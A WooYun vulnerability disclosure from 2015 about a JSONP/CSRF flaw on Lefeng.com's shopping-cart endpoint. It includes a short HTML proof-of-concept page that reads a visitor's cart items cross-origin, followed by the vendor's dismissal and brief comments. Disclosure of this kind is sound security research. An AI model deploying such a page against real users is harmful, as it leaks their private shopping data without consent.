当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0122948

漏洞标题：乐蜂网接口验证不严跨域获取他人购物车商品信息

相关厂商：乐蜂网

漏洞作者： jeary

提交时间：2015-06-26 17:17

修复时间：2015-06-26 17:39

公开时间：2015-06-26 17:39

漏洞类型：CSRF

危害等级：高

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-26： 细节已通知厂商并且等待厂商处理中
2015-06-26： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

这下可以知道妹子习惯什么牌子的化妆品了..

详细说明：

POC：

<!DOCTYPE html>
<html>
<head>
<script src="https://code.jquery.com/jquery-1.9.1.min.js"></script>
  <meta charset="GBK">
  <title>POC</title>
</head>
<body>
<p>result:</p>
<script>
$.getJSON('http://shopping.lefeng.com/cart/loadItems.jsp?pid=0&callback=?',function(json){
document.body.appendChild(document.createElement('p')).innerHTML=json.newitems[0].productName;
;
})
</script>
</body>
</html>

漏洞证明：

000.jpg

修复方案：

..

版权声明：转载请注明来源 jeary@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-06-26 17:39

厂商回复：

购物车信息与Cookie绑定，因为您之前放过购物车，所以可以获取自己的购物车信息，从GET的URL也可以看到无任何与用户绑定的身份信息，请清除Cookie后再次尝试POC，如果我们理解有偏差或重现存在瑕疵，请再次提交或站内私信我们，感谢您对我们的支持。

最新状态：

暂无

漏洞评价：

评论

  1. 2015-06-26 17:59 | jeary ( 普通白帽子 | Rank:296 漏洞数:106 | (:‮.kcaH eb nac gnihtynA))

    是有点鸡肋，不过这也算一个安全问题。向有cookie的用户发送poc页面链接，就能获取到对方的购物车信息并记录。 @乐蜂网

  2. 2015-07-10 13:05 | Me_Fortune ( 普通白帽子 | Rank:209 漏洞数:71 | I'm Me_Fortune)

    @jeary CSRF?